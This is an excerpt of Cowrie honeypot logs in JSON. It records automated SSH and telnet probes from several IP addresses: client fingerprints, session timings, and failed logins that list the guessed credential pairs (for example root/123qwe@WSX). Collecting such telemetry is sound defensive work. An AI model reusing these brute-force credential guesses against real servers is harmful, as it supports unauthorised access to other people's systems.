{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:25.878686Z","src_ip":"165.154.5.249","session":"cd53bddcb96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456789","message":"login attempt [root/root@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:26.910195Z","src_ip":"165.154.5.249","session":"cd53bddcb96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.94136381149292,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:26.919270Z","src_ip":"192.119.13.58","session":"70e2069a92de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"f568471ea5aa","protocol":"telnet","message":"New connection: 192.119.13.58:40472 (10.17.0.5:23) [session: f568471ea5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:27.430758Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:28.127522Z","src_ip":"165.154.5.249","session":"cd53bddcb96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05c059f6ac3","protocol":"telnet","message":"New connection: 192.119.13.58:47068 (10.17.0.5:23) [session: d05c059f6ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:28.911617Z"}
{"eventid":"cowrie.session.closed","duration":48.82590436935425,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:29.376102Z","src_ip":"192.119.13.58","session":"2a444bbe6f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53772,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b070d6420c7","protocol":"telnet","message":"New connection: 192.119.13.58:53772 (10.17.0.5:23) [session: 3b070d6420c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:30.636291Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56230,"dst_ip":"10.17.0.5","dst_port":23,"session":"09bc9d8ebf76","protocol":"telnet","message":"New connection: 192.119.13.58:56230 (10.17.0.5:23) [session: 09bc9d8ebf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:31.254436Z"}
{"eventid":"cowrie.session.closed","duration":40.98138880729675,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:35.202196Z","src_ip":"192.119.13.58","session":"18387d81fb41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dbc3dd2fc5f","protocol":"telnet","message":"New connection: 192.119.13.58:33224 (10.17.0.5:23) [session: 4dbc3dd2fc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:39.177857Z"}
{"eventid":"cowrie.session.closed","duration":40.288546562194824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:40.668635Z","src_ip":"192.119.13.58","session":"02f6bc4d7a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":33986,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0981ff91f1","protocol":"ssh","message":"New connection: 69.6.222.198:33986 (159.203.135.109:22) [session: 6d0981ff91f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:41.084967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:41.089497Z","src_ip":"69.6.222.198","session":"6d0981ff91f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:41.207221Z","src_ip":"69.6.222.198","session":"6d0981ff91f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8346b7b107f","protocol":"telnet","message":"New connection: 192.119.13.58:42232 (10.17.0.5:23) [session: b8346b7b107f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:41.458473Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe@WSX","message":"login attempt [root/123qwe@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:41.695886Z","src_ip":"69.6.222.198","session":"6d0981ff91f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"612a9d1c2037","protocol":"telnet","message":"New connection: 192.119.13.58:40656 (10.17.0.5:23) [session: 612a9d1c2037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:42.034746Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:42.814934Z","src_ip":"69.6.222.198","session":"6d0981ff91f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.935187101364136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:48.798211Z","src_ip":"192.119.13.58","session":"0f306bb78f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":48820,"dst_ip":"159.203.135.109","dst_port":22,"session":"8103ecf0b895","protocol":"ssh","message":"New connection: 43.134.100.175:48820 (159.203.135.109:22) [session: 8103ecf0b895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:49.670370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:49.673557Z","src_ip":"43.134.100.175","session":"8103ecf0b895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:49.911983Z","src_ip":"43.134.100.175","session":"8103ecf0b895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:50.895042Z","src_ip":"43.134.100.175","session":"8103ecf0b895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.84789490699768,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:51.209985Z","src_ip":"192.119.13.58","session":"a8f23689ab51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:52.136177Z","src_ip":"43.134.100.175","session":"8103ecf0b895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5a5347292c","protocol":"telnet","message":"New connection: 192.119.13.58:58878 (10.17.0.5:23) [session: 3e5a5347292c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:52.508905Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35132,"dst_ip":"10.17.0.5","dst_port":22,"session":"20209abac1af","protocol":"ssh","message":"New connection: 193.32.162.145:35132 (10.17.0.5:22) [session: 20209abac1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:53.509526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:53.514132Z","src_ip":"193.32.162.145","session":"20209abac1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:53.621418Z","src_ip":"193.32.162.145","session":"20209abac1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet123","message":"login attempt [ubuntu/sollet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:54.043838Z","src_ip":"193.32.162.145","session":"20209abac1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.457745790481567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:54.670814Z","src_ip":"192.119.13.58","session":"2b2db582b3f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:55.183895Z","src_ip":"193.32.162.145","session":"20209abac1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44632,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa438a45c9b6","protocol":"telnet","message":"New connection: 192.119.13.58:44632 (10.17.0.5:23) [session: fa438a45c9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:55.978191Z"}
{"eventid":"cowrie.session.closed","duration":31.485065460205078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:56.104357Z","src_ip":"192.119.13.58","session":"32926509a94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":53048,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b76cc69510","protocol":"ssh","message":"New connection: 94.159.109.207:53048 (159.203.135.109:22) [session: c5b76cc69510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:56.565986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:56.570716Z","src_ip":"94.159.109.207","session":"c5b76cc69510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:56.688994Z","src_ip":"94.159.109.207","session":"c5b76cc69510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sniper","message":"login attempt [root/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:57.045518Z","src_ip":"94.159.109.207","session":"c5b76cc69510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:58.167587Z","src_ip":"94.159.109.207","session":"c5b76cc69510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138859033584595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:58.569502Z","src_ip":"192.119.13.58","session":"f568471ea5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14605402946472,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:02.057515Z","src_ip":"192.119.13.58","session":"d05c059f6ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.08214616775513,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:04.124429Z","src_ip":"192.119.13.58","session":"115813d881b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70443892478943,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:04.958769Z","src_ip":"192.119.13.58","session":"09bc9d8ebf76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.74995732307434,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:07.220372Z","src_ip":"192.119.13.58","session":"05b92612e33b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e337ad1a37f4","protocol":"telnet","message":"New connection: 192.119.13.58:59140 (10.17.0.5:23) [session: e337ad1a37f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:07.699136Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.94.94.32","src_port":33426,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c8a7fe2f14c","protocol":"ssh","message":"New connection: 141.94.94.32:33426 (10.17.0.5:22) [session: 6c8a7fe2f14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:09.956748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:09.961618Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.042394Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:23:08:75:a2:3d:4d:bb:2f:3b:50:71:66:4d:62:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDHl2eM6/cf/hxbbrDuTKuX3eC4gWLkL5dnPcq2HmopA8RWexMELJvwK4eR62gfQ19hSk4rOiHMOsg3TmSJLI4UVjEALIzVfRsbqMRLXNkgtZ7sGXUH8sJjgoSmqgGyJxdEn/Ibsm+4xBs6r0qmE3+h9pfV9cp8KEaq+SFs/xWKlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:23:08:75:a2:3d:4d:bb:2f:3b:50:71:66:4d:62:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.423530Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
